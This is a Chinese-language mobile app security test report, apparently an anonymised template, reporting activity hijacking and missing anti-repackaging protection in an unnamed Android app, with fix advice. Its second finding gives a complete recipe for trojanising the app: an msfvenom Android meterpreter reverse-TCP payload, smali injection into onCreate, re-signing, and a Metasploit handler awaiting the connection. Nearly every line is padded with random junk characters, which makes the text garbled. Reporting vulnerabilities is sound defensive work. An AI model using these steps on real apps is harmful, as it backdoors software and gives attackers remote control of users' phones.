* o1 g" r8 T {
. @0 D; f5 n8 x9 m
, B8 a& t9 z9 P$ e5 Y) I! F2 q, @
" W' r5 T# y( s6 X( L* w- R
+ K( J- d6 i0 P: v( S2 E( ]
! b. R& A9 b6 q5 @8 a0 t- Z& r- }1 D0 F
3 G- t# {: C. s" W6 T( S/ O' ]/ O: z4 G
表1-2 测试结果 ( u3 b4 j. ?% }# s
6 s) R& S% G2 ?
" X6 H. ], I0 x6 v( C2 g/ b6 V- S( Z
. Y/ g# l' p2 w
: f& f# O, Y& I6 v) P: ^7 Q 3 e4 R: }4 Z: w* O3 O
+ q0 d1 V& W8 ~6 q/ |
W! I- P- y$ X5 n6 z) f% i
7 w- s' ^4 a4 I4 y( M/ q
! r* o( U; O1 I
2 Q/ b8 S! E3 ~; \3 G& s; E" }9 @: O 2 检测结果
& _& u" j+ u7 g F/ }; N! L& b9 F* o( [: P5 F3 Q
* E! q/ L2 M0 V: q$ i7 v& n* _7 P2 j
1 r2 c+ w1 Q3 f8 w( y1 m7 c b
. }% B3 Z, }( \9 M: v8 _- x1 ]' ? x% Y& ~4 W0 }9 T
2.1 某某某
0 T% K: m& f& R3 v; x) |# m' r( X6 P8 N% T3 D* X) Q- R( I0 n
3 o" z) }$ _+ A) v4 S' r
' P3 d& f/ e; a& V 3 Q" J7 O- f7 s- f- c( W
4 k0 c3 N3 r& t0 B: S1 {
2.1.1检测目标
" C- j: X: {! J* i/ ]) |. R' l T/ `' j' r# M% Y z7 K
% }# A; V2 n2 A$ r6 Q6 a* E1 u# @7 M" Q% A9 i0 F
% C+ I. n" x8 w) R
& w7 z, P' O5 N
目标地址: 某某某某某某APP
! M% c2 x# f& h% Q5 O$ }" l
v4 f8 e, U7 X) j$ C
4 z4 G( V" H; |6 I5 M* B7 a3 R( B) T7 }
0 v/ p1 l: a. p$ e
4 ]+ I" \+ X& f$ m3 M 2.1.2检测结果
4 t% q) U5 Y: M$ }0 s- k" x' z
: s* J! n( J8 [2 Q
& y$ d/ K5 S$ n3 g8 e6 ?' W( p. L! R, I
9 p& d$ c& G7 z8 ?/ z/ d; L4 B
2 E* p7 ]6 \, r! p 2.1.2.1 4 R3 o8 O: P+ K2 g) ^/ b2 f
- u% e5 ?6 J; i' D ?
2 @0 K+ Y/ S, I$ B: u# c) _3 X8 V- l* R$ F# | i+ V
4 e; J3 i. e1 A+ }: t3 W X g
9 W: Q+ R( Z8 h! r, l 漏洞链接地址:某某某某某某APP
: r) u: V* i) @$ s( K5 h0 t# h, g: @8 h, Z
3 {5 T* v5 R$ d7 l" b2 |
/ B/ t7 o9 _5 } ) Z4 ?2 R5 k- g( D# M! j
0 S) Q ?9 ]" b6 J2 o; E* M; W
, W1 b9 G$ p& ^5 ?) k8 b
) o6 g) j6 P) W4 e6 ~
" j! M8 k k5 H* P
; N1 f& b0 |6 T- A2 ]3 h6 H / A' \4 l- u2 w: G
0 P3 {! n i6 N. U! K
漏洞分析及取证:
7 Q" l0 j Q4 f/ a9 g5 G& N: ~. j% L
% U( ]& M% K7 o# ] g2 d: {
$ K. K3 y0 m; T! Y 8 F8 h& N3 b' C6 P/ H
% s L# K6 k: K1 a) q5 ^ 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
" B/ w9 S( T# ~! h& x$ x- h
# x& k/ k, T$ {) X9 V; J: _
" n6 j7 ^% u. D; V6 t# @" Z8 m' r4 b/ x* W1 s) Z
9 z$ |4 K! j# }& n. m3 T( U: q6 p2 H. u( O. @ Z
$ ]6 n9 E% s+ J& k' k$ r* D0 O1 ?. |% Z
8 D* A% O6 I+ d4 [0 A- [' h8 v0 b
, U6 E/ P8 M0 f8 F( W: s
7 Y/ b9 P6 l$ x6 T# A
; V" q0 [+ \8 s: z3 L' D2 W( x
6 ~8 T: ]1 o$ a
. w# C, {- @7 H; f0 t2 o8 b: B" y, k
1 c5 O/ i/ ]" ~- Z! a5 I8 y/ d' {8 B1 _
/ C2 a; o: W' N' m& {, d: ^. l( U( A5 s& Z2 U5 x, H
3 Q. a H. p. P4 h+ n1 h8 z; i) s( J: A+ @6 ^9 p, @) T( H8 i
7 Q' _# `& r' P2 a6 t$ M! G
) v/ n7 m& q' g9 K0 i @4 l% j, t+ R1 }: R' ` F2 ~ c; V
& x7 V; {7 B' T
( c9 q, [2 u2 z, V
$ X6 a+ G# ]! b& j- }, r* b! ~
z" x O* t6 n; n5 z4 H J3 k/ {" `9 c8 b$ _
; n0 C+ k0 U8 z0 o y" m1 g
; h$ _; Z8 t6 o& j/ B8 Y: ~3 d& h2 F
9 y4 e6 B. N5 @9 z- H- S- H3 ]$ k4 O# B5 p* A3 \% s
# N; M. y; I2 i: ^% v3 [9 v' G* H( ?2 u
- e; ?& ^& s" {* [* B' T: @$ `" c: R9 L
漏洞危害:高 - {6 ~4 t& }% }7 |6 K3 K: o3 S
( M j2 S" d+ T+ z% ^
/ G' Y" x% s7 `5 n. ~
) G/ B" h1 h- P M 4 G3 O1 ~2 @$ C5 k# l
6 X5 K4 y+ y) Z3 G
* g$ ]$ M& v$ g/ k( k) e0 s( I: r
$ C g0 {) p; a/ o9 z- K7 J: M 6 l3 A9 ~9 ]" M% {
! H$ I r/ Z! b i6 r6 l
- @" X: p: e S3 V: ]5 {, g' o. S% @# d y3 D8 A+ O
; o( P. b; u# ^2 e3 z6 J ^# r
2 \) w) n& l- b$ |" x3 H2 t) |
5 e, R7 I9 |: A# Y3 Y: q) Q
) |9 ]- y2 q$ f7 u
严重程度 $ U4 q$ x' i$ U$ I8 ~
& [' a3 f+ |7 b* o- F
( r& ~% V+ }9 f5 m* @/ H0 L! ], m; {& L9 G2 G% I
|
$ [. }- i' s: h: t3 B, o7 {; G9 n# D _3 U
2 n. b- i& S7 p; c- i+ H2 y1 p! a) _ I/ q' s* {. B) C( z4 `
5 r7 f2 H" w$ H1 N7 t: T9 }* R5 f: e8 a
高 6 ]; V4 A' l: O; F. g
p$ c* O4 E7 @6 u 3 P3 b. B4 k, g7 c7 v
?' t; D& Y: g' n' S
|
4 ~6 q1 z% s+ b0 i+ Y# f3 G% X$ G& ?6 f, H6 F) O+ }! \
, c% B9 {3 U( @
. V. E4 E! B' J$ Z2 N9 d6 |
8 w q3 A. }2 V( @2 K7 ?# y: a
( N. D0 s2 d5 n7 _ ■ $ I8 J9 W& ]. X: [4 x$ W6 F8 C2 R
* J' @1 H) a7 W ` W# f" \' r 1 o2 x S* F3 I2 `+ k
5 f; L8 U9 y M# `1 O# Z
| ) f) a- F# y4 l- R1 Q
( m# M' R# e r0 H: B% M% h" R
+ ^& a* c% O- i# A
" r1 ?- S8 p: {2 Z) X# N
% M' p: U* _. f( z4 A6 M
9 o* N3 R) M# x' n& o F 中 ; M7 A% j8 t9 n
4 F0 Y; ^, U$ b+ L( a
9 D) m7 u. w+ M% G/ n
8 F! J0 r) [& D' j+ ] f3 u- e | 9 D. f- ]2 n1 b, j3 o- s
' D8 M% s% u; q4 _
+ e9 C9 R0 ~0 w8 M F( l7 ]
3 @" P" T) ^7 O* E4 ^% q+ f5 h$ @
" e" A- S8 L7 a0 \9 s5 h0 G1 I9 k$ C, K: _& h7 }
i; |2 \4 E1 k+ h$ w
. g" b1 q: Q# A$ l
+ _# C7 e+ d7 \
: o, o9 a' l5 A: I D# W |
/ x9 D1 r# f* E4 `- _) _
2 N4 w; C) @% r0 _, e
$ r+ g8 D1 e+ J! r" Q. X
7 s4 h, o5 C Y+ m5 F' g
% O( k+ m1 C }4 e, f
) q; `& b3 c; j 低 7 n( G8 D" ` `& g
- A. D; j2 t* N& s% N
6 I- R8 T! m" {% _% w. F3 H* {, N5 @8 {; D% W
|
2 A# d: s% _3 K" q+ ^- x; w/ }4 O+ ?" j
4 a' t( Q+ U9 ?; S; i# K4 p
+ S8 N' i8 V g5 o7 V$ \9 g
$ k: U( ^: g& @; @# E! |; I, J' E4 o3 ?
8 l4 l/ R* O% c
* t8 e$ z& L6 x" w4 ~
# k7 X1 U( W6 F
) s- I/ x i- m7 }5 X' M0 U: }% B | # \; |, _7 A* ^* N' j- a
+ f" P7 a" ^; Z4 A" b* w
; X$ M" V: x$ U* j5 N
- ?& a# D& P: A
i9 P0 k$ n! k. G/ B& e
% q {: }6 v, B% U( h1 M
" Y" N; B; }3 F" z* X1 W, g Q% M0 | C' v8 B: C
( L6 A9 U4 u- X) F: Y
* J" a; f! _1 L6 U% M
5 l1 z" g+ a/ E- R, K+ J9 g& ~; i8 N+ L7 X8 H9 M: p/ r
$ k& }4 F1 w0 }% ?# {) G0 o3 v
0 w+ F/ h, B7 F
; Q3 ^$ [2 r8 W* V& {9 P7 ]
6 B$ h2 ^& F0 [4 m0 b
) X# T. U* z0 X; p! r! C1 O! K& x7 J) R; D% L
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。 2 [) _( P8 v% M9 V' r: P: R
( I/ D; X) v$ J( x! c m3 r# {4 l
: @% M. M. f# w
- c6 p; K1 m# [4 [
9 C% { {7 R& H4 r; o( }$ [+ F4 a, N- K$ U' ~' \5 Y2 D, W" ? @
" `. R& a# K5 e- X1 M+ M7 l9 r( D
/ \7 F$ }8 L- c9 l
: Q, h$ Z( v- x3 G! \6 b" S) _
& S9 }; \- a% E U8 E0 ^/ g3 U
+ A! _/ p3 }) r4 L: c 7 M. J& `! D6 Z( \: g2 l
$ Q ]2 U2 B8 O% [* Z2 g
# t; q0 ~) J6 G! @ A
; O3 o9 H3 U$ C$ l+ L$ o2 h
' y* {" s1 P ?, P2 ?) P* Q7 Q
7 f: H G5 I) I- d! {9 d$ c
2.1.2.2
5 J) F" I+ r7 W" O3 q; k2 v+ H
7 F, J) u$ C$ R0 \7 H9 T
2 @, |" ~+ R, B3 O0 u
7 A/ r0 a [8 U1 I 6 h- M3 Z* R' B( B% m& K
( W4 y4 B [# r: C9 P8 {. f 漏洞链接地址:某某某某某某APP - R* @" E" q ^! d& f+ H- c+ E; M
( Z) n! t- X0 P @+ y T1 S
6 A: L- w _' x, j2 k9 @9 U) M
7 h5 A, `0 {5 q6 B
/ a8 ?4 ]6 W) w. K- H' n! V* _8 P# d1 I
漏洞分析及取证:
5 u) F' c9 y; @' i8 y* C% K# l5 F- O3 w0 L8 w% L" Q; r" S* @
! V4 D- p$ z- ]6 `- g% W
% c. K: b3 s! H+ [( n* y 3 }( K) I P$ Z a
0 t$ [; t' }- k 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: L a9 S8 }- J
1 ~: c: D: S# K4 F5 I' T
$ x6 k5 O. o; V% H9 E) a0 A& s
p3 V b p) j4 J0 s) q+ i; o5 W/ z! J * ?, Z: N- k+ t9 c, Y
1 d4 Q# D" y% P9 k, B9 v' P
用Metasploit 生成木马 apk
! U# g9 ?, p2 W( m% |% s. @; u7 R/ {6 A3 y
) s+ u: Q6 n+ k. Q% U( T# ?4 o, e/ W4 J( `& L0 m3 D; ~/ _' T
' r3 m% T5 Q8 I
; N; y, a8 P2 Y6 R msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk $ w% z, e p; x) c' Y7 p9 L
# `% Y) R* o) x+ c+ V
2 O1 |3 K8 V3 s; W
7 u- x1 s2 h/ O! ^0 B B$ X
1 X3 R: |2 r8 e/ g
% m+ N7 G& z5 k3 K7 t 反编译目标apk和木马apk $ v7 \$ K( N8 K* ^& D5 @. \# V
+ U& V& d& I, q
2 c& D! N# ^6 ]9 L
6 N, \1 M7 K% X9 j 1 T# Z# D* f/ | E) h( e" U; i
1 D- b4 y0 s4 @) ?; [ apktool d target.apk
" Y8 g/ F0 V Y5 `. M' x5 S8 i7 Q9 F/ T4 ~2 F3 Y$ }+ o% z
apktool d cockhorse.apk
* J$ c% @8 c$ C2 d0 e
: p7 ^6 Z6 ]2 d C" R
& M" J, u% s1 F4 a* t, A
, Z+ V ~7 ]9 W$ ]* T
" L1 A% G' }/ e
! j" V, }# P |6 a) F 木马 apk 注入目标 apk - @) H. _' D* J. X
4 j1 M8 G+ i$ P
! l; L/ v/ k7 P
2 C+ b4 h/ l) P
# {3 w9 ?& J- `" {0 y2 J2 F
: W! ]% ?1 A" L* H 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
4 L7 A }. M+ z, h
0 X9 I" f, N2 b5 z! g# F6 { invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V , W8 t. l, [! q4 @, J
0 Q& m9 f/ r1 f D/ |+ s& A- R
& o6 ^# K: r2 @. X ~5 l
* L- ^% U Z5 {( R- x4 l 5 E4 M6 ?4 N: x+ N7 o4 K
5 g) t, o! [" h" \& @
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
: ?) G1 R7 i y3 j* @& k" ?0 e" V1 B5 ?
/ a8 q6 m6 c( S+ U* ?: ^; ]% A; ~: _- o0 ]8 C: Z5 Z2 Y! v
9 c) ]5 p1 c0 Z) z0 t0 Z
j% X" t0 M& i 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 Y* o4 l. B" E5 X# {9 o/ V
0 m9 ?8 K" [: s' a+ O2 K
7 m9 }3 B A+ u) A' `, X' z: T
4 p: k6 _# N+ o & ], C6 t- Z3 N5 h- L$ F2 r9 k
9 L' P% X4 ~* R& b
回编译生成最终 apk 7 N; r) _0 i8 R3 _) X! x+ C6 `
- q8 B0 E5 o; Q& y( A7 x4 K- h
5 g7 g6 k+ e* t6 g1 h9 U
- i; B1 @0 Z% W# D! H 3 c' d9 e$ k, `' y7 k
- [0 }" Q" L0 |& f W, B& S 重新打包 . b5 f# Q0 z. r
1 X- J% m) }3 ]4 W1 s2 z8 a
& ]5 j. V6 \3 s
* W% t5 D$ e/ H5 E: Y4 v$ P
" d: d. a: b* a: n8 y! V: k) S& S3 v* l; O! w
apktool b -o repackage.apk target_app_floder 5 X8 d) m$ L( [
6 w" j% m2 Q, g1 b; A' v1 V
/ h2 G" e4 S8 l
1 F( Z8 e l& A
( C! H' T% w( N5 h, B$ q, A4 o, {! P/ t) \% k
创建签名文件,有的话可忽略此步骤
Z% I6 I' ]8 v. o. `' ~. k6 O- w
/ ?: i3 N, \6 F' F+ e" T: D
S/ f. a: ~8 n+ Y
8 m7 T) c7 h; G1 \: D2 r" }
# H4 W/ K/ _- j2 T8 g* F: _: w2 ?
$ Q$ R5 O* z4 u, g keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000 6 h: f* Y* ~5 w
8 {8 J" @6 F$ o# z$ Y
0 \ \+ i+ z6 o, Q7 _7 o6 {$ r/ Z5 K1 N
3 T1 `1 }3 o: }
- q( \% G g Y" G, R& d 签名,以下任选其一 % N3 ^7 F; a: u7 A9 E
1 J6 W( ^! @) y/ {# ^
" g1 J: A* s* n8 n0 \, \* ~. y' X N* ?+ g4 U
$ c" Z* O9 _6 b/ ?1 O
! M! ]7 B3 ^& u6 v jarsigner 方式
0 @" A% d9 t/ x* ?: h: r! }7 s# D
" f$ D) \, t: J2 C
, K1 r4 |1 ]3 B6 I# R* ]" \, S/ o) v/ J. h- u
" |6 a; @7 K7 M8 K- @& }
+ \* a8 ^/ C- X, q/ M
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname
4 l" }9 \' z2 Z( J1 G K& h* M" I7 r7 ]! V8 ^/ E
1 b4 t' d1 l2 O2 I1 L+ r$ B7 j" ?+ W- g: j
! K, M' ^) ]: n3 b
4 l3 E7 T. x! v) o* f' H
apksigner 方式 4 {+ a9 A% v' I2 r/ y/ x) {; f
0 ~: `& D2 h7 E8 y8 M& V
; G; {% a& v) D! @8 X6 y. q4 u4 G
) {* g3 W2 _! }$ i. D
$ u9 R* l+ _+ V; [, K( {- [5 _% k8 R1 Q9 r. V+ O7 U8 m. s( K2 x
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
4 F/ N2 {7 ^0 Z k# e: L4 o a0 a% o3 S% k( _" H5 ]6 W
" W/ {" v1 r8 p2 w' X* P
+ F9 h( y' f3 E* \% G8 t% }9 ~7 } t
) s$ W: P% S; g& Y
- [. L; ^0 T% e7 ]9 @2 Q" u* Y; ?
如需要禁用 v2签名 添加选项--v2-signing-enabled false
# M/ V0 M9 F1 ^' ~3 ?0 V' q4 b) G" Q$ D6 l. K& O7 r
' @/ y. C8 _/ s) r; N9 M
, N1 ^6 \5 @+ O# j% Y `, O
& |1 ]$ t9 L7 L6 }6 I
/ T4 u0 F' j9 ^; |6 u) N9 Z 验证,以下任选其一
+ M6 m' _ x3 P; H1 o: z% ]0 I/ ~' j6 c( Q. F9 ^& Y
; @0 U! T. B ?, V0 K- R' |
$ i2 l `) j9 }$ _0 A3 y* ? - u7 o2 ^' i6 j5 c' t$ z1 M K8 J
) X. p' `5 n3 q jarsigner方式
3 S' U1 E3 L) Y3 z6 I* |; S2 x- \. q+ v( a
q: c' K! U' ^
/ K' o2 x# P( S2 M3 Z 5 W; ^8 F( P" j5 k6 z; h8 j
7 l; k5 k7 ~0 q: P' @
jarsigner -verify repackaged.apk
$ D% Y5 \, W" i/ l/ J( z: b! ?. U" c6 |2 G: R' A
3 H: x% B w! I- l5 b ^
. M4 a) j$ D: z
! W s/ y* r9 C0 N+ Z$ ~, F% i% U: ~- Q" t
apksigner 方式
8 y7 p7 v/ ~, H, `" K5 k5 X$ d# \+ v+ H6 o4 }
N+ G) q$ n+ d6 B3 Q9 Z- I' o# V" m9 N& l% c
; s# i6 p/ `. i! S, S
" a" h! Q9 }( v' f9 Z1 N) D8 u: | apksigner verify -v --print-certs repackaged.apk ~& D! T) y# \/ I+ C1 V$ U0 c
& Q; @6 @$ t/ i0 i9 ]
, P8 w! M" B' D/ N
/ D& `- D. D! |
f5 G% s, v' K, ~3 ]' \& m6 H
6 `+ d: F7 N6 s+ u3 S7 \) h keytool方式
. A& o2 q2 o/ X8 n. ]$ [7 L- x& H/ j. e
/ a; O1 h8 y9 I8 F$ F
7 z% O% {% ?7 |) P ! j/ i0 Z q9 b. ~7 V6 Z! ?: @
3 \8 L; F- \4 T1 D8 s keytool -printcert -jarfile repackaged.apk 0 s! q s. J0 y1 J. p- B- M
( \5 u4 G- g! h7 V
8 I' C1 v( Z% ?
* l6 M t+ V" w. S
3 f0 E4 D: Y/ c p' Y ?/ J9 U0 U6 |1 p5 T' {7 F( w* ]. N, g0 q
对齐
* d4 M/ ~& u: u5 t: n8 T% B# ~5 q: a" G; `* v
9 u. h1 t$ i6 c) i8 o3 l# y9 k
6 o) U3 b$ e- W. j. D
# z9 ~! E5 A( L- E8 }' a- a
$ Y' S8 z# q, [7 e" W7 C1 A 字节对齐优化
/ p% i; N4 i& N' {8 }% W+ o% X+ A/ ^% n! M/ X
. M0 Y1 \- V3 n7 ]6 c+ m% k
" T O. ]" w; {; T ! x9 P; K$ Q. a
0 J6 a# m. M( @. @
zipalign -v 4 repackaged.apk final.apk
$ P# p+ X- |1 S/ W
8 |" z e1 K" K) o. ]7 U
* u0 K% T/ t3 s
0 [( U& ~* O2 ~; L* L
9 \. e u% j: Q7 Q+ r8 F
) l' ]6 ?6 U; _% S# M! k8 j 检查是否对齐
$ w9 R) m$ k% G# \1 L4 q8 J4 S- U# D: C
$ X) A/ L, f8 }" E; N3 A
. j: @: b, q7 G& w
% Z/ T" h1 K" U/ K
/ l& x6 m- a1 j8 \" J
zipalign -c -v 4 final.apk
1 [# x8 D( |2 q, e; o4 j& j4 ]( O; O% U1 v7 Q
) e, \* f9 L, a x: U8 t2 f3 O; j9 s1 Y7 P/ U2 U
/ w' S* s9 c! A' C3 ~. l" w- M' C0 v- p3 Y! T
注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行 : B. K" J9 G) W
, k. O9 q/ ?+ m4 ~ E
4 R, f0 c; n$ N0 g9 x
6 X" V3 Z, B2 m$ k8 r6 q' p- L ( |4 }: L% Q5 s
+ D. F: O/ {3 @6 T# i1 x 启动Metasploit控制台,配置参数等待上线
6 B2 p! `& Q% M$ i' u* D) ~- c3 p9 d; B! O) G
2 r* J6 h% {% n: Y
* [& b- n, \8 O3 h/ C' i' H, o
* o7 t4 P$ C" S. A5 Z; L; e: K" W9 a) t/ c- v5 L% m0 L
在终端依次输入如下命令
& O8 t4 Z/ H! E2 ^+ x! Z. r+ v R# e' @/ z
! ?( w4 C g0 e5 d- u
" p% r* D' K) b* o0 m- {. @( L & O b* z3 \7 }$ h+ Y* u
1 A3 h3 c9 M/ U/ |2 i msfconsole - P' r5 J2 ^+ Q$ A Q! _
2 g- `) U" E- J
) G% Y- M$ S8 F% t" g
: T. e; G a; D+ x5 M / `6 Q7 T. R7 K
% M" s4 c$ H9 I2 X+ z& y( | use exploit/multi/handler
5 b) W- p9 e0 C; _2 m
1 b, B! _6 k( _- F6 c
0 c( ^ D( l# u2 O( A$ o# f# _# W, S- j2 q$ w, E
1 w4 k& }$ Y( _7 y+ Q5 c3 U
( x0 ?, O3 T& P set PAYLOAD android/meterpreter/reverse_tcp
; @2 O, |+ O5 C) n0 h [% A5 n+ |0 p+ u; }
0 _$ d8 \; d3 N& [- F, z4 E$ ?& A
8 j& ?& M" e. B: w/ ?* [ N
1 M; \1 j- ^1 j" Z" q5 o* ]5 ^, W$ i7 P4 _: e; X) T% D! \
set LHOST 192.xxx.xx.xx
4 d- s5 t( i3 [/ l. F" h; \, S
/ O# g+ ~2 U7 J! R! ]; R; g
! G! ]* T7 Q8 C1 x4 w5 a
5 q3 o" `* J: L* i
3 G5 y" t: ~6 [# J5 f
3 l0 A4 W) i) t' G3 p set LPORT 4444
: J7 O0 D" i1 @5 I* p9 y
2 I% w0 @1 M& W) D! m, T1 y
2 A6 x* Y# `4 O! h
9 U" z1 w% Q, F J# p- O. e; G# ^ 1 Q% q. M5 e4 u' i! D# w5 p
1 j2 _6 A4 w2 @% `4 s5 a exploit % @8 v2 o( B% {* L; }( s
! R: f0 ?$ l' v- |
: u3 \7 ?& [( T! c$ i9 @0 L% t! s, A6 `. b+ @8 g
6 F5 S9 C O- g# E/ {
) g" i# w( H+ r0 }; N* s
之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
5 ?* d# q3 D; O* F9 i6 m8 U T" ~ F5 R
4 I3 B: e( k5 D+ G" R4 }% r% } X/ A
, p, c1 |4 g9 {
$ R, s# W; n; W R( P( Z7 L y( f" o
& o: } h2 A, |
) R( b% n9 \& C I8 I( P" H 漏洞危害:中 * v1 m, w- v2 j
! |2 R* G4 p( O. {- L7 r
* V. w3 l% J( S: u2 K/ c/ y
/ G) j! Y' ~" ^7 c
7 s; N: J" J, J0 `1 ]6 A3 v6 v9 N+ N8 w6 ?. f
8 f1 i' r* @6 ^; N% J+ C
" n. v' E) x! ]% `2 M, N
# x1 e0 i: }( ~! N3 C
& u N* B8 [8 }% B! S
) y7 z0 y8 F. s& u+ F& ^# h+ p, F) K3 n2 u( T
3 O, k9 C! [5 Z+ K6 e7 l+ w0 v/ _+ e0 \/ B
9 c# s( W |, K' B0 D* j" O5 b# J6 S: J- i$ O: B
3 a) r$ q1 e& W/ U/ Q, s2 O- y+ K7 w4 q; O5 i
严重程度 A3 Z ]" e1 |; r \8 F; M
7 v( E5 d" \; d# h* B+ O! U
% B" X2 ^) Z1 R1 L* P3 y
T. t3 n1 ]2 W% ~. y6 X: u, K) f
|
: B5 d) F; [9 f' `4 ~5 y2 c$ N% R0 n/ U5 J% ]) I0 t6 U
/ L% |. c, u$ \5 U% }7 C
9 R6 b) m. {8 H% N
) ~+ s [' J- a; s7 N, C) B
/ s% }7 S8 [, v0 g7 \) H2 y1 F- Q; p 高
0 `+ A9 F& p, j- c8 S, ]! C; t% e
2 S3 P9 t1 r6 R& Y& F/ l7 w1 N3 J$ B5 ^
| ) P6 x) F8 A, b$ j/ }" @
8 h" o, W* N9 E. n5 J* ? ) H( ^) B \# K1 ^, C& r: \0 Q
, |, b7 Z5 {) U5 ~
6 c/ ^6 E! J2 L4 @2 _( e" {8 a/ f' G3 C& W; P9 }% F
■ 3 w2 c$ v8 [8 h) V3 c/ I# I7 W' A
- H& x* T' y1 h; v* S
) a& r0 z H6 c* A. M/ n% Q- t% x7 {1 D8 |' j
|
W1 | b2 ^! E' v1 |7 f. [- y: c1 p9 L3 C: c! @ O; p9 ?- v; t- t$ h
' k% _% C# q0 a( r% g* l/ D
8 F, T) O( O- \' F0 m# N " O: I- |4 V6 Y
: T7 U; ?( C: P' k7 v
中 . p( }8 w# _# l
( u( u/ [9 M& `# K5 S! B: Z
4 J- U! v3 A. n; }8 z' ]7 \. e! I; I S; }) G. ]
| }# k s; F- T
) T4 E8 I3 [' x2 T3 a - e% j6 X+ i! `$ t! k
|6 A5 D' ~5 f9 H# @/ F0 K* t6 q
3 y5 |; W5 m( P7 \( a" ?; p9 J7 e5 L) p6 e
: y# E! u! s9 F
9 e9 T+ U: ]; z+ ?% [
- }& }$ u" O1 E. [5 H2 W2 f" x# [% D& x
: N9 W! H& K" T
1 D& F' P, w0 _% G! |5 Q+ V |
9 h1 V+ ~7 t1 s
/ z4 `4 N! O$ a. u% @* t5 h
, U8 ?/ l* b6 u4 H% o0 u( J8 {( W% t; V& p! o/ [: F
. n3 P8 o/ M) N; _
1 r; i3 G1 o7 x7 r% k* M 低 : V1 Q$ _& n6 e, R- ~
9 M$ c5 d1 D" e) O. m
+ n- H- A! L. B% o+ M6 k$ W1 w' c. {" e* l+ r
|
8 ^. G# s) m0 f7 y1 P4 a& Y% Z" k; |/ s
/ N( ]) J$ q3 J. }" m
! r. I% P3 h# E* ~) z# |
7 E* x& ] A# Q6 B, g5 K# A6 I p4 l) }/ P& X
; j, q: o& a! g1 R& B- E
* z6 H5 B) V8 Y
0 o$ m% R2 W6 y
- t/ k- y+ r( J. M. f' [# C 8 ]5 q+ B$ d% Z* k& Y# T! h) J
* M2 Z2 z2 K. _; Z( r d
| - P! C% i$ |: ^- d9 I
+ ~+ \( n% e' S: ^ ~1 O. d2 I
" V6 W0 u. k; T0 m6 S3 f3 v( h& B0 A+ o' o$ N' @
+ h5 G O" l2 @) O2 `& `1 V0 K# u2 g" u8 G: _ J# |0 `2 ?; R
; I% h. u. a, }( N% g
/ t9 S% u' b. T2 U1 C ; k. a+ _/ p0 O! j. G
( \( N# y- t) S8 y3 C2 V
# G# H& f9 L T. W) C
; h5 W0 m6 t2 f% a s) w
& _ Y/ L5 H# ?. v! ?
; k0 d8 {9 D G
: I1 @- s7 Z8 X& c, }1 \
& q* W/ L7 w% Q! g# L7 {2 o ' J* ]# |. H1 D z$ p
) l0 ], ?6 z6 u
修复方法:
# @1 u. @+ @8 N' L' W( f. I+ t5 G8 _. V9 L Z8 h0 C
4 ~. s' t, F- c' r/ X
, Z, E$ j. ~1 y; {
3 B& Z1 o" Y0 ^6 i9 P! r) j
1 d4 s, ?8 u+ r H& [* n0 V 1.在 APP 启动时应做签名校验防止二次打包。
[( \; e! r4 D9 |& n5 y( V/ G) K7 [' V8 h: E1 l/ S8 u
2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 1 C7 f: C1 J+ x6 k. [8 i
9 n8 }$ V1 d4 _1 Y
# U) n0 l y8 I3 |0 H
0 B" F2 C. V2 b8 E3 i
4 H) d4 o6 A8 M6 {% N( d
+ K: C( l: b; t6 G2 e
( w( k% T8 u3 V1 D) X9 U2 V0 ~4 H- I! s+ |
# U7 H) D% M3 e" }7 x [ I' \1 v/ ^3 c, {, n- B, D- c# w
0 Y' Z% T+ f" o
) |) z+ L+ G/ Z6 C$ D
$ W2 y* ?1 K& q- r3 d5 b9 |8 ]- {6 R8 I, z& U) h/ ^# t( t
+ m6 K3 `6 i2 v" {; ]
% V' c1 [' o8 h5 y3 b
) Q- y, C% s" I+ J, O8 Q
. C# n2 V0 L. F* g2 Q( H3 V7 I% I
: _- u6 X( b+ j1 F! p" L9 `
' K4 J, L4 e6 B1 c# @3 Z/ V